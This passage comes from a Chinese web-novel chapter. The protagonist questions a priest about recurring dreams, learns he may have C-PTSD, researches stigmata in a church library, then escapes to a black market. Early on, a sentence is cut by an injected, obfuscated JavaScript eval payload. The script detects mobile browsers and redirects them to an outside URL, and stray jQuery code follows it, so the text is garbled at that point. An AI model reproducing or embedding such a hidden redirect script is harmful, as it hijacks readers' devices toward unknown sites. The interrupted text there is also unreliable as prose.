“未?找我有事?”他的声音也有些沙哑,是长时间说话导致的。 “嗯。”未应了一声,跟着但走进了他那个兼具书房和客厅功能的房间。房间比梦里显得略乱一些,桌上堆着几卷待处理的文件,椅子上搭着一件换下来的外袍。但示意未坐,自己倒了杯水,仰头喝了大半杯。 “说吧,什么事?”但坐下来,揉了揉太阳穴,看向未。他的眼神里有关切,但更多的是工作后的困乏,不像梦里那样,似乎总凝着某种更深沉、更复杂的东西。 未忽然有些不知从何说起。那些在脑海里盘旋的、清晰又荒诞的梦境细节,在现实但这张带着公务疲惫的脸面前,显得格外……难以启齿。但他必须说。 “我做了一些……很奇怪的梦。”未开口,声音干涩,“非常长,非常详细,而且……循环往复。” 但放下水杯,神情认真了些:“噩梦?关于骑士团?还是……” “关于你。关于我。关于……这里。”未深吸一口气,决定从最确凿、可能与现实交界的地方开始核对。“梦里,我用……比较极端的方式,‘处理’掉了来找麻烦的骑士团。全部。一个没留。” 但的眉头微微蹙起。“全部?” “现实里,我只杀死了三十五人……”未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848514|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低声重复。梦里的数字是模糊的,但氛围是“全灭”的决绝。一个差异点。 “然后,”未继续,紧紧盯着但的表情,“在梦里,我试图逃跑,离开教堂。被你……用光索之类的法术抓了回来。你说,‘教堂缺个图书管理员’。” 但愣住了,脸上的倦意被惊讶取代。他眨了眨眼,似乎花了几秒钟消化这句话,然后失笑,摇了摇头:“抓回来?图书管理员?未,我不记得有这回事。你休假是自愿的,虽然出于安全考虑,我们建议你尽量不要远离教堂区域,但从未限制你的自由。至于抓回来……更谈不上了。” 他笑容里带着无奈和一丝困惑,“你怎么会梦到这种东西?” 自愿休假。未曾限制自由。又一个差异点。未的心跳稍微平稳了一点点,但那种怪异感并未消失。他继续抛出下一个问题。 “在梦里……你好像,给我做过什么……‘心理评估’?” 这个词从嘴里说出来有些别扭,梦里的相关片段很模糊,夹杂着各种不真实的、带有象征意义的测试。 但这次回答得很快,也很肯定:“是的。在骑士团事件结束后,鉴于你当时的状态……不太稳定,我确实对你进行过几次非正式的心理状态观察和简单疏导。这是必要的程序,也是为了你的健康着想。记录显示,你的状态在逐步好转,情绪趋于平稳,攻击性显著降低。” 他顿了顿,语气缓和,“事实上,我认为这假期的休养对你很有好处,你看起来比之前……嗯,更放松一些。” 虽然但此刻觉得未忽然跑来问这些怪梦,似乎也谈不上多“放松”。 “逐步好转……趋于平稳……” 未喃喃道。梦里呢?梦里他的“状态”是什么?是表面伪装下的疯狂计算,是藏在蜂蜜和茶渍下的战术推演,是无数次轮回积累的偏执和绝望。那绝不是“好转”,那是另一种形式的崩坏,只是包裹在畸形的日常之下。又是一个巨大的反差。 似乎……现实正在一点点廓清,将梦境的荒诞推远。未感到一丝虚脱般的轻松,他把自己做过的梦一口气,事无巨细地告诉了但。如果现实如此“正常”,如此合乎逻辑,那那些详尽到可怕的梦境细节,从何而来?那些关于圣痕、关于诅咒、关于银发和蜂蜜的纠缠,难道纯粹是他潜意识疯癫的造物? 他想起另一个模糊的片段,在梦里似乎很关键,但在醒来后的现实记忆里却找不到确切对应。 “还有……观星台。” 未说,这个词脱口而出时,带着一种连他自己都不确定的飘忽感,“梦里好像有个观星台……或者类似的地方?我们……在那里说过什么吗?或者发生过什么?” 话一出口,他就看到但脸上的表情瞬间变了。 那不是惊讶,不是困惑,而是一种猝不及防的、近乎狼狈的僵硬。但原本放松靠在椅背上的身体微微坐直了,交叠的手指无意识地收紧。他避开了未的目光,看向了桌上凌乱的文书,喉结轻微滚动了一下。 空气突然安静下来,只剩下窗外隐约传来的、教堂晚钟的余韵。 未的心慢慢沉了下去。不对。这个反应不对。如果是完全不存在的事情,但应该像之前一样,干脆地否定,或者露出觉得他荒诞的表情。而不是这样……支支吾吾,难以启齿。 “但?” 未催促,声音不由得压低,带着一种连他自己都未曾察觉的紧绷,“观星台。有,还是没有?或者……类似的地方?发生过什么吗?” 但依旧没有看他,手指无意识地摩挲着杯壁。他的侧脸在逐渐昏暗的光线里显得有些不真实,某种梦境的质感似乎又悄悄渗透进来。过了好一会儿,他才像是下了很大决心,极其缓慢地转回视线,看向未。他的眼神复杂极了,困惑、犹豫、一丝难堪,还有更深处的某种……未读不懂的情绪。 “……不是观星台的问题。” 但终于开口,声音比刚才更沙哑,语速很慢,仿佛每个字都需要斟酌,“而是……你刚刚描述的,那些梦里的……‘情节’。” 他停顿了,似乎在寻找合适的词语。 未屏住呼吸。 “惩罚,监视,那种……紧密的、甚至有些扭曲的‘同居’感,还有你计划的‘逃跑’……” 但的眉头紧紧锁着,银色睫毛垂下,遮住眼底翻涌的情绪,“这些具体的互动和关系模式……我听到的时候,感觉……很奇怪。” “奇怪?” 未追问,心脏在胸腔里撞得发疼。 但抬起头,直视未的眼睛,那双浅色的眸子里清晰地映出未此刻紧张而迷茫的脸。“不是觉得你荒谬的那种奇怪。” 他缓缓说道,每个字都像重锤敲在未的心上,“而是……一种‘似曾相识’的奇怪。就好像……你说的这些,虽然具体事件不同,但那种……氛围,那种张力,那种你和我之间在梦里的定位和牵扯……我好像在什么地方……真的经历过。” 房间里彻底寂静了。 晚钟的余音早已消散。窗外最后的天光被夜幕吞噬,房间陷入一片昏暗,只有书桌上那盏旧式台灯,洒下一小圈昏黄的光晕,刚好笼罩住对视的两人。 未彻底蒙了。难道那些梦,不仅仅是他潜意识混乱的产物,竟然还能在现实层面,在但的身体上引发回响? “你……” 未的声音干涩得几乎发不出声,“你的意思是……我梦里描述的东西,可能……不仅仅是梦?它触动了某种……真实存在的联系?” “我不知道。” 但很快地摇头,脸上带着清晰的困惑和一丝极力掩饰的疲惫。这种疲惫,似乎不仅仅是工作后的劳累,更像一种长期应对某种棘手状况的消耗。“理智和记录都告诉我,那些具体事件——全灭骑士团、光索抓捕、带有追踪诅咒的圣痕——没有发生过。你经历的是击退、谈判、以及必要的休养观察。但是……” 他斟酌着词句,目光复杂地看着未,“但是你描述的那种‘关系模式’,惩罚、禁锢、试图逃跑、以及那种……紧密到扭曲的日常互动……它太具体了,具体到……” 他停顿了一下,仿佛在权衡是否要说出口。 “具体到什么?” 未追问,心脏悬在半空。 但移开视线,看向桌上堆积的文件,声音低沉:“具体到……它并非完全……陌生。在某个层面,它……映射了一些……我不得不去应对的‘状况’。” 状况?是指自己的战后心理问题吗?但之前提到过“心理评估”和“状态好转”。可“映射”这个词,听起来不止是类比。 “我不明白。” 未感到一阵焦躁,“你说具体事件没发生,但又说感觉熟悉。到底哪些是真的?哪些是梦?观星台呢?梦里那个观星台,模模糊糊的,到底存不存在?我们是不是在那里说过什么?” 他需要一个确切的锚点,哪怕只是一个地点真实与否的确认。 提到“观星台”,但的身体几不可察地僵硬了一瞬。这个细微的反应被未捕捉到了。但没有立刻回答,他沉默了片刻,手指无意识地收紧,指节微微泛白。当他再次看向未时,眼神里充满了极为复杂的情绪:困惑、谨慎、一丝难言的尴尬,甚至还有……某种深藏的忧虑。 “……观星台事件,是存在的。” 但终于开口,声音平稳,但过于平稳,像是在背诵某种既定事实,“你……在休养初期,情绪比较不稳定的时候,我会带你去那里。那里视野开阔,安静,有助于平复情绪。” 他顿了顿,补充道,“我们确实在那里有过交谈,内容大多是……关于星空,关于一些基础的、安抚性的哲学话题,或者只是安静地待着。仅此而已。” 这个回答,听起来合理,符合一个心理疏导者会做的事情。但是,但是的反应,他叙述时那种刻意保持距离、回避细节的态度,让未心里那点不对劲的感觉疯狂滋长。仅此而已?如果“仅此而已”,为什么提到它时,但会流露出那种近乎戒备的僵硬? “真的……仅此而已?” 未不自觉地向前倾身,目光锐利地盯着但,试图从他脸上找出任何伪装的裂痕,“没有发生别的?没有……特别的对话?或者……别的什么?” 但的睫毛颤动了一下,他避开了未的逼视,抬手揉了揉眉心,那个疲惫的姿态再次浮现。“未,” 他的声音带着一种近乎恳求的意味,“你现在的状态……我们需要谨慎。你刚刚从一系列激烈的梦境中醒来,那些梦的内容……极具冲击性和扭曲性。我们现在讨论这些,很容易混淆你的感知。我认为,我们应该更关注现实已经确认的部分:你休养了二十几天,情况在向好的方向发展。那些梦,无论它们感觉多么真实,都是你大脑在处理创伤和压力时产生的……” “如果只是普通的噩梦或幻觉,” 未打断了他,声音因为激动而有些提高,“为什么你会对我的描述有这么大反应?但,你在隐瞒什么?观星台到底发生了什么?” 面对未的步步紧逼,但的脸色微微发白。他放在桌上的手收紧又松开,显然内心在进行激烈的挣扎。房间里的空气仿佛凝固了,台灯的光晕似乎都黯淡了几分。 “我没有隐瞒‘事件’。” 但最终说道,声音干涩,“观星台上发生的事情,在我的记忆里,并不具备你梦中那些戏剧性的、对抗性的情节。但是……” 他深吸一口气,仿佛下定了决心,抬起眼,直视未,那双浅色的眼睛里清晰地映出台灯的光,以及未急切而困惑的脸,“但是,你梦中反复出现的那种‘关系’——你试图靠近,又因某种无形的阻碍而挣扎;我试图约束、照顾,却又无法真正触及核心——这种动态……它确实存在于过去这二十多天里,只是以另一种……更符合现实逻辑、也更让人疲惫的形式。” “确实存在是什么意思?”未感觉自己语言功能都要紊乱了。 但顿了顿,似乎在组织语言,选择能说出口的部分:“你记得你‘待着’,这是真的。但你也记得你‘跑了’,这也是真的。并非梦里那种一次性的、象征性的逃跑,而是……多次的、突发的、难以预测的回避或试图离开教会区域的行为。教会的判断是,在当时的心理评估下,让你独自离开存在风险,所以……在某些情况下,我需要确保你留在安全范围内。这或许……被你潜意识加工成了‘抓捕’和‘囚禁’的意象。” 未如遭雷击,呆坐在椅子上。多次逃跑?自己没有逃跑过啊?难道自己真的…… 但继续说着,语气越发低沉,像是揭开一层他不愿触碰的纱布:“你表现出笨拙和努力正常的模样,渴望学习,适应这里的生活,这也是真的,并且是积极的信号。但在某些……你自己可能事后都不记得、或者认知完全不同的时刻,你的言行会……变得异常直白,充满强烈的、不加掩饰的……情感诉求,甚至是对我个人的……” 他停了下来,脸上掠过一丝极不自然的红晕,没有说下去,但未已经懂了。那些在梦里被包装成“示爱”的古怪片段,并非完全空穴来风,而是自己病态表现的一部分? “至于观星台……” 但的声音几乎低不可闻,“在那里,在你某一次情绪相对稳定、甚至可以说……表现出某种罕见的清晰和温暖的时刻,我们之间……确实有过一次……超出普通疏导关系的、非常私人的交流。那次交流,在你的认知里,可能是关系‘回归正常’的象征。但在我这里……” 他再次停顿,摇了摇头,似乎无法或不愿用语言描述,“那是一次……复杂的、需要极大克制和应对的……‘状况’。它不属于你梦中那些对抗性的情节,但它同样……深刻地标志了那段时间里,我们关系的某种……非常规的、难以定义的密度。” 未感到一阵天旋地转。但的话语,像一把冰冷的凿子,将他自以为“现实”的认知一块块撬开,露出下面全然不同的、令人不安的基底。假期?不,那是监管。好转?不,那是间歇性的失常和突如其来的情感爆发。观星台的静谧?不,那是但记忆中一次棘手而亲密的“状况”。 “所以……” 未的声音颤抖着,“所以那些梦……那些同居的细节,那些计算,那些蜂蜜和银发……那些我认为是梦的、扭曲的日常……” “是你精神状态不稳定时期,” 但接过了他的话,语气带着一种近乎残忍的、却不得不为之的平静,“与现实元素混杂、扭曲放大后产生的认知。你确实和我住在相邻的区域,我确实负责你大部分的日常照料和观察。你确实会对某些物品(比如食物、我的头发)表现出异常的专注,甚至试图进行一些只有你自己才理解的‘计算’或‘仪式’。这些,都是我每天需要面对和处理的‘现实’。而你……你的意识似乎为了保护自己,或者因为疾病的影响,将这段充满压力、混乱和非常规依赖的时期,剥离成了两个部分:一部分是你认为的、相对‘正常’的互动;另一部分则是被剧烈扭曲、充满象征和挣扎的‘梦境’。” 真相如同冰水,兜头浇下。未浑身冰冷,指尖都在发麻。原来如此。根本没有两个平行的世界,没有预演的梦境。只有一个精神逐渐崩坏、认知发生割裂的自己,和一个在现实中疲于应付、努力维系局面、却无法对他言明全部残酷真相的但。 他以为自己是清醒的探询者,却原来是那个被困在病症迷宫里、分不清现实与幻觉的病人。他那些关于绑架、囚禁、圣痕的梦境,竟然是对现实监管关系、医疗束缚以及彼此间异常纠缠的病态映射和夸张表达。 “那……现在呢?” 未听到自己空洞的声音,“我现在……是在梦里,还是在……‘状况’里?” 但看着未瞬间失魂落魄的样子,眼中闪过一丝不忍,但很快被更为复杂的情绪取代。他沉默了片刻,才缓缓说道:“就在昨晚……或者说,今天凌晨。你再次出现了激烈的情绪波动,试图离开。这一次……过程比较困难。但在那之后,你突然安静下来,陷入了深睡。直到今天白天,你醒来,找到蓝戈确认日期,然后来找我……谈论这些‘怪梦’。” 他的目光仔细地审视着未,仿佛在评估一件精密而又脆弱的仪器:“你现在表现出的逻辑性、追溯记忆的企图、以及相对稳定的情绪……是过去二十多天里,从未有过的清晰和……‘正常’。你宣称之前那些混乱的、充满强迫性行为和情感投射的阶段,都是一场‘梦’。这本身,可能正是你病情出现转折、或者进入一个新阶段的标志。” 未呆呆地看着但,看着他那张在灯光下显得异常清晰、也异常疲惫的脸。所有的线索终于串联起来,指向一个令人绝望而羞耻的结论:他所谓“核对梦境”,不过是一个刚刚从漫长癔症或精神分裂中短暂浮出水面的病人,试图用残存的理智,去理解自己刚刚爬出的那个泥潭。而他视为救命稻草的但,早已在那个泥潭里,陪他挣扎了太久,身上沾满了连他自己都不愿直视的污迹和疲惫。 那些梦里的温柔是假的吗?不,那可能是但真实付出的关怀。那些梦里的残酷是假的吗?不,那是现实处境和自身疾病施加的双重枷锁在血腥上演。 他张了张嘴,却发不出任何声音。巨大的荒谬感和羞耻感淹没了他。他之前所有的困惑、追问、甚至对但那一丝隐晦的怀疑和指控,此刻都变成了打在自身认知废墟上的回响,空洞而可笑。 但依旧静静地看着他,没有靠近,也没有再说什么,只是等待着他消化这足以击垮任何人的真相。房间里的寂静,不再是疑惑的温床,而是变成了事实沉淀后,冰冷而坚硬的固体,填充了每一寸空间。 未缓缓地、极其缓慢地,从椅子上站了起来。动作僵硬,像个生了锈的木偶。他没有再看但,目光低垂,落在自己微微颤抖的手指上。 “我……明白了。” 他听到自己用一种异常平稳、平稳到近乎死寂的声音说道。 然后,他转过身,一步一步,走向门口。脚步虚浮,却又带着一种奇怪的确定。不再是仓皇逃离,更像是一个认清了自己囚室方位的犯人,沉默地走回他的牢房。 门在他身后轻轻关上,隔绝了那圈昏黄的光晕,也隔绝了但那复杂难言的目光。 未背靠着冰冷的石壁走廊,这次没有滑坐下去。他仰起头,后脑抵着粗糙的石面,睁大眼睛,望着走廊尽头高窗透进来的、稀疏的星光。 原来,从未有过“醒来”。 只是从一个较为混乱的噩梦,跌入了一个较为清晰的、关于噩梦的噩梦。 而但,一直清醒地站在噩梦的旁边。这才是最残酷的真相。 30. 【十三】 未不信邪。 这个念头像一颗烧红的铁钉,狠狠楔进他被“真相”冻得麻木的脑子里,滋滋作响,冒出屈辱和不服的焦烟。但那些话,那些疲惫的、仿佛一切已成定局的剖析,像一层厚重的油污覆盖了他的感知。他是病人,他是疯子,他扭曲了现实,他把但的照看当成囚禁,他把自己的病态依赖美化成畸恋,他把所有挣扎都归于一场漫长的、自我欺骗的梦魇。 “精神病人”的标签冰冷而沉重,几乎要压垮他刚刚试图直起的脊椎。但心底深处,某个更坚硬、更偏执、在无数次轮回中淬炼出来的东西,拒绝被这样轻易地定义和打发。如果一切都是病症,为什么那些“幻觉”的细节如此精密?为什么但会对“圣痕”的描述产生魔力扰动?为什么“观星台”的存在被证实,却又被包裹在一层语焉不详的、令人起疑的沉默里? 他需要证据。不是但口中的“现实”,不是那些可能被修饰过的“记录”和“评估”,而是更原始、更不容置疑的东西。他必须自己去看,去查,用他自己的眼睛和逻辑,重新丈量这个世界。 首先,是“圣痕”。 他去了教堂图书馆,不是平时浏览的区域,而是需要权限的内部档案区。得益于他之前“协助者”的身份以及但可能为他做过的一些背书,他的通行权限比普通访客要高一些。管理档案的修士昏昏欲睡,未递上但之前给他办理的临时阅览证,声音平稳地说需要查阅一些关于教会高阶神职人员历史和标识的公开资料,用于“辅助理解教义”。 修士眯着眼看了看证件,又看了看未(未尽量让自己的表情看起来平和甚至略带求知欲),咕哝了一句,指了个方向。 教会成员名录是相对公开的内部资料。未找到了“祭司”的分类,手指顺着字母索引滑下去,停在“但”这个名字上。旁边标注着全名:但·穆希纳什。后面跟着一行小字:前穆希纳什王国王储(已放弃继承权及相应世俗权责)。 王储。梦里那个关于“王室纹章”、“生日祭坛”、“狗链”的片段,忽然像浸了显影液的底片,猛地清晰了一瞬。穆希纳什王室……和梦里但口中的“他们”,会有关联吗? 他继续翻看其他达到“黑主教”及以上位阶的人员简要资料。一个发现让他心跳加快:几乎每一位黑主教、乃至更高位阶的大主教、枢机主教的生平简介旁,都或多或少提及了“经受圣痕礼”、“承载圣痕”或“背负神圣印记”。文字描述模糊,更像是一种象征性的宗教仪式和荣誉标志,配图(如果有)也多是风格化的纹章图案,并非写实。 这似乎印证了但之前的说法——圣痕是教会高阶神职人员的某种标识或烙印。但……未的眉头紧锁。他在公共浴室见过其他神职人员(在他“状态尚可”被允许使用公共区域时),也偶然瞥见过个别人洗漱或更衣时露出肩背、手臂上类似的浅色印记。那些印记,给人的感觉……不一样。更像是一种精心绘制的、带有魔法增强效果的永久性纹身,庄重,有力量感,但……缺乏但身上(哪怕在未混乱的“梦境”记忆里)那种鲜活、流动、甚至带着一丝不祥的“活性”。视觉冲击力完全不同。而且,从未见过其他人身上的“圣痕”会不受控制地散发魔力波动,或者引发像但那样明显(即使在现实中也偶有显露)的魔力逸散导致银发色泽变浅的现象。 但的圣痕,是不一样的。这个认知像冰锥一样刺穿了“普通标识”的解释。如果教会的圣痕是“标准版”,那但身上的,会不会是……“定制版”或者“变异版”?梦里但说那是十八岁生日在“祭坛”上烙的,是“狗链”。如果结合他“前王储”的身份…… 未感到一阵寒意。他仿佛看到两条线索在黑暗中隐约交会:穆希纳什王室,以及某种超越普通教会仪式的、带有强烈束缚和追踪性质的诅咒烙印——“王室追踪术”。这个在生死之誓中出现过、在梦境中被但亲口提及的词汇,此刻带着全新的分量砸进他的思绪。 他需要更多关于魔力本身的常识。离开档案区,他转向基础魔法理论与生理学相关的书架。抽出一本厚厚的《魔力本质与显性表征通论》,快速翻找着。关于魔力过度使用或失控时的生理变化……找到了。 “……魔力作为生命能量与外界元素的调和产物,其剧烈释放或长期过载,可能导致载体(即施法者或高魔力亲和个体)出现暂时的生理性色素减退现象。常见于毛发、瞳孔等部位,因该处微循环及色素细胞对魔力场变化较为敏感。通常从魔力汇集的‘核心’或‘主要通道’节点开始显现,例如头顶(百会区域,常见魔力上行通路)……” 未的目光死死盯住“从魔力汇集的核心或主要通道节点开始显现”这句话。梦里,但的头发变浅、趋向银白,似乎总伴随着他锁骨下圣痕区域的异样(发光、发热、魔力波动)。而书上说常见从头顶开始。但的情况……如果他的“魔力核心”或一个异常强大的“主要通道节点”,因为那个特殊的圣痕,被强行锚定或者扭曲在了胸口位置呢?那么魔力暴走时,色素减退从发根深处、尤其是靠近颈椎、与胸背区域魔力联系可能更紧密的后脑部位开始,似乎……也能说得通? 他把这个发现和疑问死死记在心里。这解释不了所有,但至少提供了一个可能的、符合某种逻辑的框架,来解释但身上那种奇特的、与普通神职人员不同的魔力-生理表征。这框架,隐隐指向他圣痕的“非标准”与“异常”。 最后,也是最让他抗拒,却又无法回避的一环:他自己。 他走向心理学与精神医学的区域。手指划过书脊,最终停留在一本大部头的《持续性创伤障碍:理论与临床实务》。他把它抽出来,感觉重逾千斤。翻开目录,找到“复杂性创伤后应激障碍 (C-PTSD)”的章节。 他强迫自己读下去,每一个字都像烧红的针,扎进他的眼睛,烫进他的脑子。 “C-PTSD源于长期或反复的、难以逃脱的创伤经历(如战争、长期囚禁、系统性虐待、反复的人身威胁等)……” 战争。囚禁。反复的人身威胁。无数次轮回中惨烈的死亡、同伴的逝去、绝望的挣扎、永无止境的战斗……是的,这符合。太符合了。 “……核心症状包括:1. 情绪调节困难;2. 意识状态改变(如解离);3. 自我认知扭曲(如强烈的羞耻感、无用感、异化感);4. 人际关系困扰;5. 对创伤相关线索的过度反应;6. 存在意义与信仰系统的崩塌……” 他深吸一口气,继续往下看关于“解离”的详细阐述。 “解离是心灵在面临无法承受的创伤时,为了维持基本生存功能而采取的一种防御机制。它将一部分与创伤相关的感知、记忆、身份或意识从主体的整体心理活动中分离出去……在C-PTSD中,解离可能表现为‘人格分裂’的雏形,或更常见的‘现实感丧失’、‘记忆模糊或碎片化’、‘对自身经历产生疏离或陌生感’……” “为了应对极端压力,个体可能在解离状态下,构建出另一套对现实的解释或记忆版本,以容纳无法整合的创伤体验……” 所以,这就是但和那些“记录”试图告诉他的真相?他那清晰得可怕的“梦境”,其实是C-PTSD急性期或解离状态下,将现实中充满压力、监管、病态依赖和自身混乱情感的时期,扭曲、放大、重组后产生的“另一套现实版本”?是他破碎心灵为了解释“为什么我会在这里”、“为什么但这样对我”、“我到底在经历什么”而编造出来的、充满象征意义(囚禁、逃亡、圣痕、解咒)的悲剧叙事? 未不知道自己是用了多大的勇气,才没有把那本书砸在地上,或者撕得粉碎。他感到一种灭顶的羞耻和无力。如果心理学书籍是权威,如果但的陈述是事实,如果教会的记录是凭证……那么,他似乎没有理由再“不信邪”。他就是个病人,一个在创伤后遗症中挣扎、扭曲了现实、给关心他的人带来巨大负担的麻烦。 可是……可是为什么心底那点不甘的火焰,就是不肯熄灭? 他合上书,指尖冰凉。好。他对自己说,声音在脑海深处嘶哑地响起。就算这些都是真的。就算我真的是C-PTSD,真的解离,真的把现实搞成了一团糟。那么,在这个被我搞糟的“现实”里,在我那些扭曲的“梦境”执念里,核心的驱动力是什么? 那个问题再次浮现,尖锐如刀:我到底想干什么? 在那些被定义为“幻觉”的漫长梦境里,在所有看似荒诞的行为和计算背后,有一个目标始终清晰,甚至可以说是偏执地贯穿始终:帮但解除圣痕的诅咒。 为什么?为什么这个目标如此重要,甚至压倒了他自身的安危、逻辑、乃至现实感知? 因为但的圣痕不正常。它不是荣耀的标记,它是锁链,是“狗链”,是“王室追踪术”。这个认知,并非完全来自梦境。现实中的调查——前王储身份、特殊圣痕的异常活性、魔力扰动与但的生理反应——都在隐隐佐证这一点。即使但从未亲口承认(在“现实”中),即使教会将其包装成普通的高阶标识,未内心深处那个历经无数阴谋与生死危机的部分,就是嗅到了不同寻常的危险与束缚的气息。 解除诅咒,就能让但获得真正的自由。这个结论自然而然。 那么,自由之后呢?在梦里,他规划的是“逃亡”,是“去白雾城”。如果但关于“超过王都一定距离会自爆”的说法属实(无论这信息是来自现实但的透露,还是梦境对潜在危险的直觉映射),那么“解除诅咒”就成了“逃亡”或“私奔”的前提条件。 私奔…… 这个词让未的心脏猛地一缩,随即涌上来的是一种更深的困惑与……几乎是惊惧的情感。 为什么要私奔? 他和但,到底是什么关系? 这个问题比任何关于圣痕或精神疾病的谜团都更让未感到不安和迷茫。他试图用理智去梳理: 起先是陌生人。但在他最狼狈(或许也是刚进入这个“现实”循环,状态极差)的时候,给予了他庇护和初步的救治。 然后,他救了但的命(骑士团事件)。这是恩情的交换,也是信任的建立。 之后,但负责照顾他,因为他的“精神状况”需要专业(或至少是负责任)的看护。 用博士(那个遥远记忆里总是冷静分析的情感模块残缺者)的话来说,这样的互动基础,两个人“应该已经可以做朋友了”。 但是,他们的相处,完全不是朋友。 朋友之间会有那种无处不在的、令人窒息的紧密感吗?会有那种一方竭力隐藏疲惫与负担、另一方却敏感地捕捉到每一丝情绪并因此焦灼的牵扯吗?会有那种在观星台留下的、让但讳莫如深、却显然深刻改变了某种氛围的“状况”吗? 恋人的话……未打了个寒颤。太奇怪了。不仅仅是性别,更是那种底色。他们的互动里掺杂了太多别的东西:医患的权力差异,恩情与责任的纠葛,秘密与隐瞒的墙壁,还有他自己这边无法剔除的、病态的偏执和混乱。这绝不是健康恋情该有的土壤。 单一关系无法概括,复杂关系又包含了太多非常规的、甚至是不健康的成分:拯救者与被拯救者,看守者与被困者,医生与病人,潜在的共犯,模糊的吸引与抗拒……简直像一团被各种颜色的线胡乱缠绕在一起的毛球,找不到头绪,只会越扯越紧。 最让未无法理解的是但的态度。谁会接受自己被一个精神状况不稳定、认知可能扭曲、行为难以预测的“疯子”救了,然后还被这个“疯子”以一种复杂、混乱、甚至可能造成负担的方式“缠上”? 但好像接受了。不仅接受,在他叙述的那些“现实”版本里,但似乎在以一种惊人的耐心在应对这一切。处理他的逃跑,应对他突如其来的情感爆发,消化观星台上那次“复杂的状况”,日复一日地照顾他,观察他,甚至在他“恢复正常”、宣称之前都是梦之后,用那种混合了疲惫、困惑、评估和一丝难以言喻神情的目光看着他。 这种不排斥,比任何明确的拒绝或厌恶都更让未感到恐慌。它像一面扭曲的镜子,照出他自己都理不清的情感乱麻,也映出了但那边可能同样不简单的心绪。这不是正常的施恩与报恩,也不是普通的医患仁心。这里面有东西不对劲,有一种危险的、黏着的、足以让两个人都沉溺或毁灭的引力。 未猛地从图书馆的椅子上站起来,动作太大,引得旁边几个正在冥想或阅读的修士投来不满的一瞥。他顾不上这些,只觉得胸口发闷,图书馆陈旧的羊皮纸和灰尘气味此刻让他作呕。 不行了。 不管那些关于圣痕的调查指向什么真相,不管C-PTSD如何解释他的记忆分裂,也不管他和但之间那团乱麻到底是什么性质…… 他必须走。 立刻,马上。 留在这里,沉浸在这些无休止的求证、剖析、自我怀疑和情感迷宫里,只会让他真的疯掉。但的“接受”和那种复杂的氛围是一个温柔的泥潭,正在一点点吞噬他残存的理智和行动的勇气。他需要距离,需要冰冷的空气,需要不掺杂任何个人情感的、纯粹为了生存的行动。 他或许是个病人,或许记忆混乱,或许扭曲了现实。但他骨子里仍然是那个在无数轮回中挣扎求存、擅长行动多于思考的未。当理性分析陷入死胡同,当情感纠葛令人窒息,那么,就按照最本能的驱动去做:离开。 去查清圣痕和王室追踪术的真相,如果需要。 去找到解除诅咒的方法,如果可能。 至于他和但……等他能用清明的眼睛看清自己,也看清对方时,再说吧。如果还有那时的话。 未将翻乱的书本匆匆塞回大致的位置,低着头,快步离开了图书馆。午后的阳光透过彩窗,在他脚下投下斑斓却冰冷的光影。他穿过忙碌的教堂中殿,对周围的圣咏和祷告声充耳不闻,径直走向自己那间位于后侧宿舍区的小房间。 他要收拾东西。不需要太多,只要最必要的。然后,离开教堂,离开这个将他定义为“病人”、用温柔和疲惫织成罗网的地方。 …… 未冲出教堂侧门时,午后的阳光正烈,刺得他眯起了眼。身后的建筑投下沉重的阴影,仿佛要伸出触手将他拖回去。他没有回头,脚步越来越快,穿过修剪整齐的教会庭院,翻过那道对于普通人来说或许很高、但对他而言只是稍微费点力气的石砌矮墙。墙外是错综复杂的小巷,弥漫着城市边缘特有的、混杂着炊烟、垃圾和廉价香料的气味。 自由的感觉并不轻盈,反而像一件浸透了冷水、紧贴在身上的旧衣服,沉重而陌生,带着逃离的仓皇和决绝。但他心里绷紧的那根弦,却在远离教堂的每一步中,稍微松弛了一点点。不是放松,而是从一种令人窒息的情感与认知纠葛中,暂时抽离。 他目标明确:黑市。 那里没有教会的熏香和圣咏。那里只有最直白的交易,最原始的欲望,和用力量与鲜血书写的规则。以前他或许还顾忌着教会的立场、但的看法、以及自己那条在无数次轮回后近乎偏执的“不杀人”底线。现在,这些顾忌都被他亲手撕碎了。 教会肯定会通缉他。一个被判定有严重精神问题、处于监管期却擅自逃离的“前协助者”。这通缉令不会太张扬,毕竟涉及教会的“管理疏漏”和但的“名誉”,但一定会在某些渠道流传。出乎意料的是,未意识到,这份来自“正派”势力的通缉,在黑市某些圈子里,非但不是坏事,反而可能成为一种另类的“资质证明”。这证明他不是温顺的绵羊,不是循规蹈矩的良民,他身上有麻烦,但也意味着他有胆量,有故事,或许……还有价值。 他需要先活下来,然后弄到情报,最后……继续他中断的调查。关于圣痕,关于王室追踪术,关于穆希纳什。至于但……他将那个名字连同所有与之相关的混乱感受,用力压进心底最深处,盖上厚重的、名为“行动”的盖子。现在不是想那些的时候。 未踏入黑市外围区域时,天已经擦黑。这里的气味更浓烈,也更肮脏。破损的霓虹灯管闪烁着不稳定的光,照亮巷壁上斑驳的涂鸦和可疑的污渍。行人神色匆匆,目光警惕,身上大多带着武器或明显不是善类的装饰。未身上还穿着离开时那套相对干净但不起眼的便服,这让他显得有些格格不入,很快便有几道不怀好意的目光黏了上来。 他没有躲闪,反而迎着那些目光,微微抬起头。眼神里的茫然和困惑早已褪去,取而代之的是一种久违的、近乎漠然的锐利。那是无数次在生死边缘磨砺出来的气质,虽然被“休养期”磨钝了些,但底子还在。他慢慢活动了一下手指关节,发出轻微的咔哒声。 一个穿着皮坎肩、胳膊上有劣质火焰纹身的人拦住了他的去路,另外两个同伙从阴影里踱出,形成三角包围。“生面孔啊,小子。迷路了?还是来找乐子?” 未停下脚步,没有说话,只是静静地看着他。那目光太平静,平静得让他脸上的笑容有点挂不住。 “跟你说话呢!” 那人提高声音,伸手想去推未的肩膀。 就在他的手即将碰到未衣服的刹那,未的动作快得几乎只剩下残影。他没有武器,只是侧身、欺近、抬手、扣腕、反拧——一连串动作流畅得像演练过千百遍。那人只觉得一股剧痛从手腕传来,随即天旋地转,整个人被狠狠掼在潮湿肮脏的巷壁上,后脑勺撞出一声闷响,眼前一黑,哼都没哼就软倒下去。 